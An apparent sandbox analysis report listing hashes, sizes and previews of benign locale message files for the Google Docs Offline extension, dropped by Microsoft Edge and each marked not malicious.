Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

